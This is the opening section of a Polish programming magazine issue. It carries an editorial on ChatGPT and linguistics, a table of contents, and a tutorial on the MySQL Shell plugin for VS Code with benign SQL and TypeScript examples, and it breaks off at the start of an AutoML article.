You are on page 1of 74

KRZYWE BÉZIERA | HISTORIA JEDNEGO REFAKTORA | DESERIALIZACJA W PHP

Index: 285358 www.programistamag.pl


Magazyn programistów i liderów zespołów IT

3/ 2023 (108) Cena 28,90 zł (w tym VAT 8%)

WYWOŁYWANIE KODU NATYWNEGO


W C++ Z JĘZYKA RUBY

Gdzie te dane? O zachowaniu spójności z GPU Audio


Transactional Outbox Pattern – od teorii do praktyki

MySQL Shell plugin dla Jak AutoML zmienia sposób postrzegania


Visual Studio Code uczenia maszynowego?
#
/* ChatGPT okiem lingwisty */
Rozwój sztucznej inteligencji w ostatnich latach jest niewątpliwie impo- Język zatem to nawet nie odbicie rzeczywistości, ale odbicie od-
nujący, jednak wypuszczenie na świat ChatGPT okazało się prawdziwą bicia rzeczywistości; to pewna prawda powierzchniowa, która koduje
rewolucją i zmieniło to, jak patrzymy na SI i modele językowe. Okazuje tylko cień prawdy głębokiej. Tu tkwi problem modelowania lingwi-
się, że komputery nie gęsi – swój język mają (choć pożyczony). stycznego: zbiór reguł języka nie jest wystarczający, żeby wniosko-
Sukces ChatGPT ma dwa źródła: po pierwsze, ten model językowy wać o funkcjonowaniu rzeczywistości – można przecież formułować
naprawdę nieźle sobie radzi z szerokim wachlarzem zadań, po drugie twierdzenia bezsensowne czy fałszywe. Można oczywiście całkiem
– nie wymaga on od użytkownika przygotowania technicznego, ob- nieźle wnioskować statystycznie o gramatyce, a także stworzyć on-
niżając tym samym próg komunikacji z maszynami. To oznacza, że tologie reguł rządzących światem, te jednak nigdy nie są kompletne.
wkroczyliśmy w nową fazę interakcji z technologią, w której zwykli lu- Do tego dochodzą problemy semantyki, czyli relacji między językiem
dzie mogą uzyskiwać świetne rezultaty bez specjalistycznej wiedzy. a światem. Rzeczywistość raczej trudno ubrać w zamknięty system,
Mnie na przykład w ciągu kilku sesji udało się napisać funkcjonalny aby wytrenować na nim model. Zręcznie ujął to Michael Robbins2:
plugin do Visual Studio Code w języku programowania, którego nie „Inteligencja, którą tworzą chatboty, jest abstrakcją umysłu i wie-
znam – TypeScript1. dzy, z jednej strony amputowaną z pierwotnych ludzkich danych
Już ponad pół wieku temu Stanisław Lem w swojej książce Sum- o uczuciach i emocjach cielesnych, a z drugiej strony z sensoryczno-
ma technologiae przygotowywał nas na integrację ludzkiego inte- -percepcyjnej świadomości świata zewnętrznego”.
lektu ze sztuczną inteligencją, wprowadzając pojęcia intelektroniki Noam Chomsky3 wyraził niedawno obawę, że chatboty mogą nega-
i fantomologii, a także hipotetyzował na temat interakcji ludzi z su- tywnie wpłynąć na stan nauki i etyki z powodu „włączenia do naszej
perinteligencją w Golemie XIV. Teraz możemy zobaczyć, jak te wizje technologii fundamentalnie błędnej koncepcji języka i wiedzy”4. Poza
zaczynają się materializować w praktyce dzięki takim modelom języ- tym nie wiem, czy HAL 9000 z Odysei kosmicznej śnił, za to ChatGPT
kowym jak ChatGPT. z pewnością miewa ostre halucynacje – ale z kategorii tych bardzo
Na temat modeli tego typu toczą się równolegle dyskusje w dwóch przekonujących, co poprzez powszechne jego wykorzystywanie do
odrębnych środowiskach: programistów i językoznawców. Progra- produkcji wszelakiej treści może doprowadzić do informacyjnego po-
miści posiadają niezbędne kompetencje techniczne, aby rozwijać topu, czyli nadmiaru danych, z których trudno wyłuskać to, co istotne.
sztuczną inteligencję, jednak nie zapominajmy, że właściwą wiedzę Tym sposobem wracamy do Stanisława Lema, który przewidy-
domenową mają tutaj językoznawcy. Niestety, dyskusje w obu śro- wał, że rozwój techniki może prowadzić do dehumanizacji ludzkiego
dowiskach zdają się być niemal całkowicie rozłączne, co utrudnia doświadczenia i oddalenia nas od prawdziwej komunikacji, a sam
opracowanie skutecznych rozwiązań. Programiści mówią: „przecież stawiał na ludzką intuicję. Fakt, modele językowe wykazują pewne
w praktyce jakoś to działa”, a lingwiści oponują: „a my wiemy, jak to nadludzkie zdolności, jednakże nie wszystkie z nich są w stanie zre-
powinno działać w teorii”. Oba stanowiska są komplementarne: z jed- plikować – tak samo jak kalkulator, który, choć liczy szybciej od czło-
nej strony mamy funkcjonujące metody przetwarzania języka natural- wieka, to nie jest w stanie samodzielnie popchnąć matematyki do
nego oparte na uczeniu maszynowym, z drugiej zaś metody te nie są przodu, tak ChatGPT sam nie napisze książki. Przynajmniej na razie
w pełni zadowalające. – z tym musimy poczekać na komputery, które choć trochę rozumie-
Podejrzewam, że ostatecznie okaże się to ślepym zaułkiem, tak ją, o czym mówią.
jak ślepym zaułkiem okazało się podejście całkowicie determini- Nie ulegajmy więc pokusie kaczego typowania i nie zakładajmy,
styczne – czyli oparte na twardo zaprogramowanych regułach – i to że wszystko, co rozumie jak człowiek i odpowiada jak człowiek, ko-
z tego samego powodu: język to abstrakcyjny system, który składa niecznie jest człowiekiem… albo gęsią – nawet jeśli składa złote jaja,
się z symboli. Symbole te odnoszą się do fragmentów świata rze- takie jak plugin do VS Code.
czywistego i pozwalają je nazwać (a tym samym na nich operować),
Mirosław Koziarski
ale sposób, w jaki świat ten interpretujemy i partycjonujemy, jest –
zgodnie z postulatami językoznawstwa – fundamentalnie arbitralny,
a więc nie można mówić o „lepszym” i „gorszym” opisie rzeczywisto-
2. Jest to opinia wyrażona w odpowiedzi na artykuł Noama Chomsky’ego: ChatGPT and the Hu-
ści, które poszczególne języki realizują bardzo różnie od siebie. man Mind: How Do They Compare? – The New York Times.
3. Amerykański językoznawca, twórca m.in. gramatyki generatywnej (czyli „lingwista spotyka ma-
1. Plugin w dosyć podstawowej formie dostępny jest w serwisie GitLab: https://gitlab.com/MrVo- szynę stanów”) i koncepcji uniwersaliów językowych – a obecnie kontrowersyjny politolog.
cabulary/tagencloser. 4. Cytat z artykułu Chomsky’ego (niestety za paywallem): The False Promise of ChatGPT.

/* REKLAMA */
SPIS TREŚCI

01010000
BIBLIOTEKI I NARZĘDZIA
6 # MySQL Shell plugin dla Visual Studio Code
> Miłosz Bodzek
01110010
14 # Jak AutoML zmienia sposób postrzegania uczenia maszynowego?
> Tomasz Krzywicki 01101111
JĘZYKI PROGRAMOWANIA
26 # Wywoływanie kodu natywnego w C++ z języka Ruby
> Paweł "KrzaQ" Zakrzewski
01100111
PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH
34 # Gdzie te dane? O zachowaniu spójności
z Transactional Outbox Pattern
01110010
01100001
> Tomasz Kowalski

PRZETWARZANIE RÓWNOLEGŁE I ROZPROSZONE

01101101
40 # GPU Audio – od teorii do praktyki
> Wit Zieliński, Tomasz Twardowski, Marta Twardowska, Łukasz Pollak

ALGORYTMIKA

01101001
46 # Krzywe Béziera
> Wojciech Sura

INŻYNIERIA OPROGRAMOWANIA
56 # Historia jednego refaktora
> Wojciech Sura 01110011
01110100
Z ARCHIWUM CVE
66 # Deserializacja w PHP
> Mariusz Zaborski

01100001
ZAMÓW PRENUMERATĘ MAGAZYNU PROGRAMISTA

Przez formularz na stronie:.............................http://programistamag.pl/typy-prenumeraty/


Na podstawie faktury Pro-forma:.........................redakcja@programistamag.pl
Prenumerata realizowana jest także przez RUCH S.A.
Zamówienia można składać bezpośrednio na stronie:.......www.prenumerata.ruch.com.pl
Pytania prosimy kierować na adres e-mail:...............prenumerata@ruch.com.pl
Kontakt telefoniczny:...................................801 800 803 lub 22 717 59 59*

*godz. 7 : 00 – 18 : 00 (koszt połączenia wg taryfy operatora)

Magazyn Programista wydawany jest przez Dom Wydawniczy Anna Adamczyk Nota prawna
Wydawca/Redaktor naczelny: Anna Adamczyk (annaadamczyk@programistamag.pl). Redaktor prowadzący: Mariusz Redakcja zastrzega sobie prawo do skrótów i opracowań tekstów oraz do zmiany planów
„maryush” Witkowski (mariuszwitkowski@programistamag.pl). Korekta: Tomasz Łopuszański. DTP: Krzysztof Kopciowski wydawniczych, tj. zmian w zapowiadanych tematach artykułów i terminach publikacji, a także
(bok@keylight.com.pl). Dział reklamy: reklama@programistamag.pl, tel. +48 663 220 102, tel. +48 604 312 716. nakładzie i objętości czasopisma.
Prenumerata: prenumerata@programistamag.pl. Współpraca: Michał Bartyzel, Mariusz Sieraczkiewicz, Dawid Kaliszewski, O ile nie zaznaczono inaczej, wszelkie prawa do materiałów i znaków towarowych/firmowych
Marek Sawerwain, Łukasz Mazur, Łukasz Łopuszański, Jacek Matulewski, Sławomir Sobótka, Dawid Borycki, Gynvael zamieszczanych na łamach magazynu Programista są zastrzeżone. Kopiowanie i rozpowszechnianie
Coldwind, Bartosz Chrabski, Rafał Kocisz, Michał Sajdak, Michał Bentkowski, Paweł „KrzaQ” Zakrzewski, Radek Smilgin, ich bez zezwolenia jest Zabronione.
Jarosław Jedynak, Damian Bogel (https://kele.codes/), Michał Zbyl, Dominik 'Disconnect3d' Czarnota, Paweł Łukasik. Redakcja magazynu Programista nie ponosi odpowiedzialności za szkody bezpośrednie
Adres wydawcy: Dereniowa 4/47, 02-776 Warszawa. i pośrednie, jak również za inne straty i wydatki poniesione w związku z wykorzystaniem informacji
Druk: http://www.edit.net.pl/, Nakład: 4500 egz. Grafika na okładce: Adobe Stock. prezentowanych na łamach magazy­nu Programista.
BIBLIOTEKI I NARZĘDZIA

MySQL Shell plugin dla Visual Studio Code


Pracujesz jako programista backend lub baz danych? Korzystasz na co dzień z baz danych
MySQL? Uważasz za niewygodne i nieefektywne ciągłe przełączanie się pomiędzy edytorem
kodu a narzędziem do edycji bazy danych? Poznaj plugin MySQL Shell dla VS Code, który
rozwiązuje ten problem, umożliwiając wygodną pracę z pełnym wsparciem dla uzupełniania
składni SQL w jednym zintegrowanym środowisku.

WSTĘP można go było używać, należy upewnić się, że są spełnione wszystkie


wymagania:
MySQL Shell to interfejs linii poleceń, będący zaawansowanym » zainstalowany Visual Studio Code w najnowszej dostępnej wersji,
klientem i edytorem kodu dla MySQL, który umożliwia łatwe wyko- » dostęp do serwera MySQL lub serwera w chmurze Oracle (MDS),
nywanie skomplikowanych zadań związanych z bazą danych, takich w wersji co najmniej 8.0.28,
jak tworzenie i modyfikowanie tabel, zarządzanie danymi i wyko- » dodatkowo na systemie Windows – zainstalowane biblioteki pakie-
nywanie zapytań SQL. MySQL Shell – oprócz funkcjonalności SQL tu redystrybucyjnego programu Visual C++ (do pobrania ze strony:
– dostarcza możliwość uruchomienia skryptów JavaScript i Python learn.microsoft.com/en-US/cpp/windows/latest-supported-vc-redist).
oraz API do pracy z MySQL, co pozwala programistom na auto-
matyzację wielu czynności związanych z bazami danych. X DevAPI W celu instalacji należy kliknąć w ikonę „Extensions” (Rysunek 1,
umożliwia pracę zarówno z danymi relacyjnymi (SQL), jak i doku- pkt 1) lub użyć skrótu klawiaturowego Shift+Ctrl+X (Shift+Cmd+X
mentami, kiedy MySQL jest używany jako magazyn dokumentów na macOS), następnie w polu „Search Extension in Marketplace”
(NoSQL). Z kolei AdminAPI umożliwia pracę z klastrem InnoDB, wpisać „MySQL Shell for VS Code” (Rysunek 1, pkt 2) i wcisnąć En-
InnoDB ClusterSet oraz InnoDB ReplicaSet. ter. Teraz wystarczy kliknąć w „Install” obok ikony „MySQL Shell for
Aktualną wersją MySQL Shell jest 8.0 i jest to zalecana wersja do VS Code” (Rysunek 1, pkt 3).
stosowania z serwerami MySQL 8.0 i 5.7.

Czym jest plugin MySQL Shell dla VS Code


Plugin MySQL Shell integruje MySQL Shell bezpośrednio z procesem
tworzenia kodu w Visual Studio Code. Umożliwia on interaktywną
edycję i wykonywanie kodu SQL dla baz danych MySQL i usługi bazy
danych MySQL w chmurze Oracle (MDS). Należy jednak zaznaczyć,
że plugin jest we wczesnej fazie rozwoju i nie zaleca się go używać
w środowisku produkcyjnym.
Konsole MySQL Shell zapewniają dostęp do MySQL Shell w edy-
torze stylizowanym na notatnik. Dzięki konsoli GUI możemy wdro-
żyć i zarządzać klastrem InnoDB, zestawem klastrów InnoDB oraz
zestawem replik InnoDB, korzystając z większości funkcji MySQL
Shell, w tym AdminAPI, X DevAPI oraz ShellAPI.
Notatniki DB oferują nowatorskie sposoby interaktywnej pra-
cy z bazami danych. W edytorze notatnika można przejść od SQL
(z osadzonymi wynikami) do JavaScript lub TypeScript, aby wyszu-
kiwać, wizualizować i przetwarzać dane. Dodatkowo, oprócz no-
tatników, dostępne są klasyczne edytory kodu umożliwiające pracę
z jednym językiem naraz.

INSTALACJA I KONFIGURACJA
Jak zainstalować rozszerzenie MySQL Shell dla
VS Code
Instalacja pluginu w środowisku Visual Studio Code jest stosunkowo Rysunek 1. Wyszukiwanie pluginów

łatwa i może być wykonana w kilku prostych krokach. Aby jednak

<6> { 3 / 2023 < 108 > }


/ MySQL Shell plugin dla Visual Studio Code /

Podczas pierwszej instalacji plugin uruchomi „Welcome Wizard” Warto też wspomnieć o możliwości ograniczenia ilości zwracanych
w celu instalacji certyfikatów SSL do używania połączenia HTTPS wierszy przez zapytania SQL poprzez ustawienie ich liczby w sekcji
w ramach komunikacji. Należy kliknąć w „Next”, aby rozpocząć, i po- „Sql: Row Packet Size”.
nownie „Next” w celu kontynuacji. Aby zakończyć instalację, należy Oczywiście opcji konfiguracji jest znacznie więcej i warto zapo-
kliknąć w „Reload VS Code Window”. Po ponownym załadowaniu znać się z nimi wszystkimi.
okna Visual Studio Code rozszerzenie jest gotowe do użycia.

ŁĄCZENIE Z BAZĄ DANYCH MYSQL


Przegląd opcji konfiguracji
Do połączenia z bazą danych MySQL wymagany jest dostęp do lokal-
Plugin MySQL Shell udostępnia sporą ilość opcji konfiguracji. Aby nego serwera MySQL lub też dostęp do serwera w chmurze Oracle
wyświetlić okno ustawień, można użyć skrótu klawiszowego Ctrl+, (MDS).
(Cmd+, dla macOS) lub wybrać odpowiednią opcję z menu File ->
Preferences -> Settings (Code -> Preferences -> Settings dla macOS).
Konfiguracja połączenia z bazą danych
Ustawienia pluginu znajdują się w sekcji Extensions -> MySQL Shell
for VS Code. Dodanie nowego połączenia należy zacząć od przejścia do głównego
Na początek warto wspomnieć o możliwości zmiany poziomu ko- widoku naszych połączeń poprzez kliknięcie w „DB Connections”
munikatów logów Debug Log: Level. Zmiana na wartość DEBUG31 (Rysunek 3, pkt 1) w lewym panelu VS Code.
(domyślnie INFO) pozwoli zobaczyć wszystkie komunikaty diagno-
styczne w przypadku jakichkolwiek problemów z aplikacją. Dodat-
kowo w razie zauważenia błędu można go zgłosić poprzez wybranie
opcji z menu … -> File Bug Report, w sekcji „Database Connection”
pluginu (Rysunek 2).

Rysunek 2. Tworzenie nowego raportu błędu

Inne opcje dotyczące edytora SQL:


» Db Editor: Default Editor – domyślny tryb edytora, dostępne są
dwie opcje:
ǿ notebook (domyślny) – umożliwia interaktywny sposób
pracy z danymi na żywo, podobnie do Jupyter dla języka
Python,
ǿ script – umożliwia klasyczną pracę ze skryptem.
» Db Editor: Start Language – domyślny język edytora, tu dostęp-
ne mamy trzy warianty:
ǿ sql (domyślny),
ǿ javascript,
ǿ typescript.
Rysunek 3. Tworzenie nowego połączenia z bazą danych

Kolejna sekcja to opcje dotyczące MySQL Shell:


» Shell: Use External – umożliwia połączenie z zewnętrznym shellem, Kolejnym krokiem będzie kliknięcie w „New Connection” (Rysunek 3,
jeśli mamy taki zainstalowany u siebie na komputerze. pkt 2). Teraz należy wypełnić odpowiednie pola w edytorze połącze-
» Shell Session: Start language – domyślny język, z jakim jest uru- nia (Rysunek 4).
chamiany MySQL Shell, dostępne są następujące możliwości: Pierwszym polem, pozwalającym wybrać typ bazy danych, do
ǿ javascript, której konfigurujemy połączenie, jest pole wyboru z dwoma opcjami:
ǿ python, » MySQL – do połączenia z bazą danych MySQL.
ǿ sql. » Sqlite – do połączenia z bazą danych Sqlite.

1. Poziom DEBUG3, w przeciwieństwie do DEBUG, oferuje dodatkowe informacje, takie jak: ko-
munikacja pomiędzy backendem a frontendem, podgląd niektórych wewnętrznych zapytań SQL,
co umożliwia precyzyjną analizę awarii.

{ WWW.PROGRAMISTAMAG.PL } <7>
BIBLIOTEKI I NARZĘDZIA

Rysunek 4. Edycja połączenia z bazą danych

Rysunek 5. Obsługa połączenia z użyciem certyfikatów SSL

<8> { 3 / 2023 < 108 > }


/ MySQL Shell plugin dla Visual Studio Code /

Kolejne dwa pola – „Caption” oraz „Description” – pozwalają nadać » Connection Timeout – czas na próbę nawiązania połączenia
połączeniu nazwę oraz opis; obie te wartości będą widoczne w głów- – jeśli po tym czasie połączenie nie może zostać ustanowione,
nym widoku z listą wszystkich połączeń, co ułatwi ich identyfikację. próba zakończy się niepowodzeniem.
Dalsza część dotyczy już informacji ściśle związanych ze szczegó-
łami połączenia. Sekcja „Basic” zaczynająca się od pola „Host Name Po skonfigurowaniu wszystkich opcji wystarczy kliknąć w przycisk
or IP Address” umożliwia podanie nazwy hosta lub adresu IP dla „OK”, a połączenie zostanie zapisane na liście „DB CONNECTIONS”.
bazy danych (w przykładzie użyto połączenia z lokalnym serwerem, Od teraz można go używać do połączenia z bazą danych.
wprowadzając wartość localhost, można też użyć adresu IP 127.0.0.1,
który jest odpowiednikiem localhost). Obok jest pole wyboru „Pro-
FUNKCJE MYSQL SHELL W VISUAL
tocol”, umożliwiające wybranie odpowiedniego protokołu dla bazy
STUDIO CODE
MySQL. Dostępne opcje to:
» mysql,
Jak wykonać podstawowe operacje na bazie
» mysqlx.
danych
Dalej mamy pole „Port”, gdzie należy zdefiniować port, na którym Mając zdefiniowane połączenie z bazą danych, można wykonywać na
nasłuchuje serwer (domyślna wartość to 3306 dla protokołu my- niej podstawowe operacje, korzystając z lewego panelu w VS Code.
sql oraz 33060 dla protokołu mysqlx). W polu „User Name” należy W sekcji „DATABASE CONNECTIONS” pojawi się nazwa (Caption)
podać użytkownika bazy danych oraz opcjonalnie hasło dla niego, połączenia z małą ikoną delfina symbolizującą połączenie z bazą My-
za pomocą opcji „Store Password” (jeśli hasło nie zostanie podane SQL. Z lewej strony ikony widoczna jest strzałka >, po kliknięciu
w tym formularzu, użytkownik zostanie o nie poproszony podczas której nastąpi połączenie z bazą w tle (użytkownik może zostać po-
połączenia z bazą). W tym miejscu można także wyczyścić hasło za- proszony o hasło) i pobranie danych o stanie bazy, tabelach itp. Lista
pamiętane wcześniej poprzez kliknięcie w przycisk „Clear Password”. zawiera podpunkt „MySQL Administration” oraz listę baz danych
Opcjonalnie można też podać domyślną bazę w polu „Default Sche- dostępnych na danym serwerze.
ma”. Pozostałe dwa pola wyboru dotyczą połączenia tunelowego po- Rozwinięcie sekcji „MySQL Administration” daje dostęp do na-
przez protokół SSH oraz połączenia z bastionem OCI. stępujących raportów:
Jeśli baza danych obsługuje połączenia SSL, można skonfiguro- » Server Status – status serwera zawierający wszystkie informacje
wać ścieżki do certyfikatów w kolejnej sekcji – „SSL” (Rysunek 5). dotyczące serwera: wersja serwera, ścieżki do plików danych,
Pierwsze pole w sekcji „SSL” pozwala na wybranie trybu SSL. Do- funkcje, zainstalowane certyfikaty SSL itp.
stępne opcje to: » Client Connection – lista wszystkich aktywnych połączeń do
» Disable – wyłączony. wybranego serwera.
» Preferred – preferowany. » Performance Dashboard – raport wydajności, gdzie na czytel-
» Require – wymagany. nych wykresach można zobaczyć m.in.: wydajność sieciową,
» Require and Verify CA – wymagany z weryfikacją urzędu cer- zapytania SQL, szybkość odczytu i zapisu na dysk stron silnika
tyfikacji CA. InnoDB (Rysunek 6).
» Require and Verify Identity – wymagany z weryfikacją tożsamości.
Strzałki > obok nazw baz danych umożliwiają ich rozwinięcie i wy-
Opcjonalnie można podać listę szyfrów oddzielonych przecinkami. świetlenie listy: tabel, widoków, procedur i zdarzeń. Z kolei klikając
Listę obsługiwanych szyfrów przez dany serwer MySQL można uzy- prawym przyciskiem myszy na nazwę bazy danych, można uzyskać
skać poprzez uruchomienie zapytania SQL (Listing 1). dostęp do kliku podstawowych operacji na bazie danych.
Wybranie opcji „Dump Schema to Disk” umożliwia zrobienie peł-
Listing 1. Lista szyfrów obsługiwanych przez serwer
nej kopii bazy na dysku. Użytkownik zostanie poproszony o podanie
SHOW SESSION STATUS LIKE 'Ssl_cipher_list'; ścieżki do kopii, a cała reszta zostanie wykonana automatycznie. Po-
niżej znaleźć można menu „Copy To Clipboard”, zawierające dwie po-
Dalej należy podać ścieżki do plików: zycje: „Name” – kopiuje nazwę bazy, a także „Create Statement”, która
» Path to Certificate Authority file for SSL – ścieżka do pliku urzę- kopiuje kod SQL tworzący bazę danych. Ostatnią pozycją w menu jest
du certyfikacji CA. opcja „Drop Schema…” umożliwiająca usunięcie bazy danych.
» Path to Client Certificate file for SSL – ścieżka do pliku certyfi- Podobne menu znaleźć można, klikając prawym przyciskiem my-
katu klienta. szy na nazwie tabeli, po uprzednim rozwinięciu listy tabel poprzez
» Path to Client Key file for SSL – ścieżka do pliku klucza klienta. kliknięcie w strzałkę > tuż obok sekcji „Tables”. Analogicznie dostęp-
ne są opcje do skopiowania nazwy tabeli oraz kodu SQL służącego do
Ostatnia sekcja, „Advanced”, zawiera zaawansowane opcje konfigu- utworzenia tabeli w menu „Copy To Clipboard” oraz do skasowania
racji połączenia i zazwyczaj nie wymaga żadnych zmian, niemniej tabeli poprzez wybranie opcji „Drop Table…”. Dodatkowo można tu
zaawansowanym użytkownikom pozwala zdefiniować m.in. następu- zobaczyć niedostępną z poziomu bazy danych opcję „Select Rows in
jące opcje: DB Notebook”, generującą zapytanie SQL w aktualnym notatniku
» SQL Mode – tryby SQL. SQL, które wyświetli wszystkie rekordy z wybranej tabeli.

{ WWW.PROGRAMISTAMAG.PL } <9>
BIBLIOTEKI I NARZĘDZIA

Rysunek 6. Raport wydajności

Rysunek 7. Praca z notatnikiem SQL

<10> { 3 / 2023 < 108 > }


/ MySQL Shell plugin dla Visual Studio Code /

Operacje dostępne na obiektach widoków są prawie identyczne przejść do sekcji wyżej, zmienić ją według potrzeby i ponownie, uży-
jak na tabelach. Jest więc opcja wyświetlenia zapytania, skopiowania wając klawiszy Ctrl+Enter (Cmd+Return na macOS), uruchomić. W
nazwy oraz kodu do utworzenia widoku, a także możliwość usunię- powyższym zapytaniu można na przykład edytować klauzulę WHERE i
cia widoku. zmienić warunki filtrowania.
Z kolei w menu procedur dostępne są opcje kopiowania oraz ska- Podczas pracy z notatnikiem można czasami spotkać się z sytu-
sowania procedury, brakuje natomiast opcji wygenerowania kodu acją, kiedy aktualne sekcje SQL nie są już więcej potrzebne i użyt-
SQL służącego jej wywołaniu. kownik chciałby mieć pusty notatnik. Można to zrobić w prosty
sposób, przytrzymując klawisz Ctrl (Cmd na macOS) oraz wciskając
szybko dwukrotnie klawisz A. Spowoduje to zaznaczenie wszystkich
Praca z Notatnikiem SQL
sekcji aktualnego notatnika, które można teraz usunąć wraz z wyge-
Istnieje kilka możliwości uruchomienia notatnika SQL. Jedną z nich nerowanymi przez nie wynikami, wciskając klawisz DEL.
jest przejście do panelu z listą połączeń poprzez kliknięcie w „DB U góry notatnika jest dostępny pasek narzędziowy umożliwia-
Connections” w sekcji „OPEN EDITORS” w lewym panelu VS Code. jący dostęp do wielu opcji. Z lewej strony z menu rozwijanego do-
Inny sposób to skorzystanie ze znanej już sekcji „DATABASE CON- stępna jest lista notatników z zachowaniem hierarchii. Dalej znajdu-
NECTIONS” i kliknięcie strzałki po prawej stronie nazwy połączenia je się opcja umożliwiająca z menu rozwijanego utworzenie nowego
lub też wybranie z menu dostępnego po kliknięciu prawym przyci- notatnika, a także nowego skryptu: SQL, JavaScript lub TypeScript.
skiem myszy pozycji „Connect to Database” (lub w celu otwarcia ko- Skrypty umożliwiają pracę znaną z klasycznych narzędzi do baz
lejnego notatnika: „Connect to Database on New Tab”). danych, gdzie nie ma podziału na sekcje i edycji fragmentów kodu.
Domyślnie notatnik działa w trybie SQL, można to zmienić w usta- Zamiast tego jest jeden duży plik, który stanowi całość i jest wyko-
wieniach, tak jak już wspomniano w sekcji Instalacja i konfiguracja. nywany w kolejności napisania, linia po linii. Kolejne przyciski na
W trybie tym użytkownik pracuje, wpisując w notatniku polecenia pasku zadań umożliwiają uruchomienie kodu w notatniku. Pierwsza
SQL. Plugin MySQL Shell dla VS Code udostępnia pełne wsparcie ikonka w kształcie błyskawicy wykonuje cały aktualny blok kodu, co
w uzupełnianiu składni SQL, umożliwiając łatwą i sprawną pracę jest równoważne ze znanym już skrótem klawiszowym Ctrl+Enter
nad kodem. W celu przejścia do nowej linii aktualnego wielowierszo- (Cmd+Return na macOS). Kolejny przycisk powoduje wykonanie
wego polecenia SQL należy użyć klawisza Enter, natomiast aby uru- kodu w bieżącej linii, trzeci z kolei wykonuje cały blok i udostępnia
chomić aktualny kod, trzeba użyć kombinacji klawiszy Ctrl+Enter rezultat w postaci tekstowej, który można łatwo skopiować i użyć
(Cmd+Return na macOS). Spowoduje to wykonanie aktualnego w innym miejscu.
kodu SQL, wyświetlanie rezultatu wykonania oraz utworzenie nowej Dalsze pozycje umożliwiają zatrzymanie aktualnie wykonywa-
sekcji, umożliwiającej pracę nad nowym kodem SQL. Uruchomienie nego bloku kodu oraz zatrzymanie w przypadku napotkania błędów.
kodu z Listingu 2 w notatniku spowoduje wynik podobny do tego Są też opcje dotyczące zatwierdzania (COMMIT) oraz wycofywania
z Rysunku 7. (ROLLBACK) zmian na bazie danych, opcje formatowania kodu, a tak-
że wyszukiwania.
Listing 2. Lista aktorów o imieniu „CHRISTOPHER”
Notatnik DB ma opcję pracy nie tylko z kodem SQL, ale także
SELECT * FROM actor z JavaScript i TypeScript. Do przełączania się pomiędzy trybami
WHERE first_name = "CHRISTOPHER";
w obrębie aktualnego notatnika służą polecenia:
» \javascript lub \js – przełącza notatnik w tryb JavaScript.
Istnieje możliwość edycji sekcji, która została już wykonana, a rezultaty » \typescript lub \ts – przełącza notatnik w tryb TypeScript.
jej pracy wyświetlone na ekranie. Do poruszania pomiędzy sekcjami » \sql – przełącza notatnik w tryb SQL.
należy posłużyć się strzałkami góra/dół. Można więc strzałką w górę
{ REKLAMA }

{ WWW.PROGRAMISTAMAG.PL } <11>
BIBLIOTEKI I NARZĘDZIA

Rysunek 8. Praca w trybie JavaScript w notatniku

W trybach JavaScript oraz TypeScript użytkownik ma możliwość


PODSUMOWANIE
używania języków JavaScript/TypeScript, mając cały czas dostęp do
aktywnego połączenia z bazą danych, które można wykorzystać do Warto dać szansę nowemu pluginowi MySQL Shell dla VS Code, po-
wykonywania zapytań SQL, a następnie przetwarzać uzyskane dane nieważ jest on bardzo użyteczny i wygodny w użyciu. Nawet we wcze-
w wybranym języku. Na Rysunku 8 widoczny jest rezultat przełą- snej fazie rozwoju oferuje on wiele funkcjonalności i ułatwia pracę
czenia notatnika w tryb TypeScript oraz uruchomienia bloku kodu nad bazą danych, szczególnie dla programistów baz danych. Projekt
z Listingu 3. Kod ten pobiera z listy filmów nazwę kategorii oraz licz- dynamicznie się rozwija i w przyszłości planowane są dodatkowe
bę filmów w danej kategorii z bazy Sakila2, przy użyciu wbudowanej funkcje, które umożliwią mu konkurowanie z takimi klasycznymi
funkcji runSQL, do zmiennej result, a następnie za pomocą funk- narzędziami do zarządzania bazami danych, jak MySQL Workbench.
cji Graph.render wyświetla wykres słupkowy prezentujący wynik Ponadto narzędzie to umożliwia pracę nad kodem źródłowym oraz
w sposób graficzny. jednoczesną kontrolę nad bazą danych używaną z projektem, bez
konieczności ciągłego przełączania się pomiędzy edytorem kodu VS
Listing 3. Funkcja TypeScript wykonująca zapytanie SQL
Code a narzędziem do edycji baz danych.
runSql("select category, COUNT(category) from film_list "
+ "group by category LIMIT 10;",
function (result) { MIŁOSZ BODZEK
var options: IGraphOptions = {
series: [ mbodzek@gmail.com
{
Programista Python/C++ od niemal dwóch dekad.
type: "bar",
yLabel: "Ilość filmów", Zawsze chętny do poszerzania swojej wiedzy
data: result as IJsonGraphData, i podnoszenia kwalifikacji. Stara się być na
}, bieżąco ze wszystkimi nowinkami technicznymi.
], Od 10 lat pracuje zdalnie w Oracle jako programi-
};
sta backend przy projekcie MySQL Shell plugin,
Graph.render(options);
}); a wcześniej nad MySQL Workbench. W wolnych
chwilach lubi wędrować po górach, czytać oraz
fotografować.
2. Sakila to przykładowa baza danych, która została stworzona przez MySQL w celach prezentacyj-
nych i edukacyjnych.

<12> { 3 / 2023 < 108 > }


NOWOŚĆ
Zaplanuj urlop
z ciekawą
i lekką lekturą

Sięgnij po
darmowe e-booki
od PWN

Więcej na www.ksiegarnia.pwn.pl
BIBLIOTEKI I NARZĘDZIA

Jak AutoML zmienia sposób postrzegania


uczenia maszynowego?
Uczenie maszynowe to obszar sztucznej inteligencji dotyczący algorytmów dopasowujących
swoje wewnętrzne parametry do danych. Duży w tym udział ma czysta matematyka, dzięki
której powstają modele, które po procedurze trenowania osiągają wcześniej określony cel.
Aby skutecznie korzystać z dobrodziejstw metod uczenia maszynowego, należy nie tylko być
obeznanym z królową nauk, która kryje się u podstaw, ale także z programowaniem i algoryt-
miką. Od pewnego czasu na salony wkraczają narzędzia z rodziny AutoML, które umożliwiają
stosowanie uczenia maszynowego w sposób automatyczny, także dla osób niezwiązanych
z rozwojem sztucznej inteligencji. W tym artykule weźmiemy pod lupę dostępne rozwiązania
AutoML i przyjrzymy się, jak z nich sprawnie korzystać.

CZYM JEST AUTOML? nej. Na rynku AutoML można zauważyć także startupy dostarczające
rozwiązania generyczne, takie jak Clarifai [9], lub dziedzinowe – Me-
Algorytmy uczenia maszynowego (ang. machine learning) są znane dicMind [10]. Rozwiązania chmurowe gwarantują nam dostępność
od lat 50. XX w. Prace nad nimi zostały zapoczątkowane w celu auto- wymaganej mocy obliczeniowej, co generuje koszty. CreateML [11]
matycznego rozwiązywania skomplikowanych problemów. Obecność to rozwiązanie AutoML od firmy Apple, które działa na urządzeniu
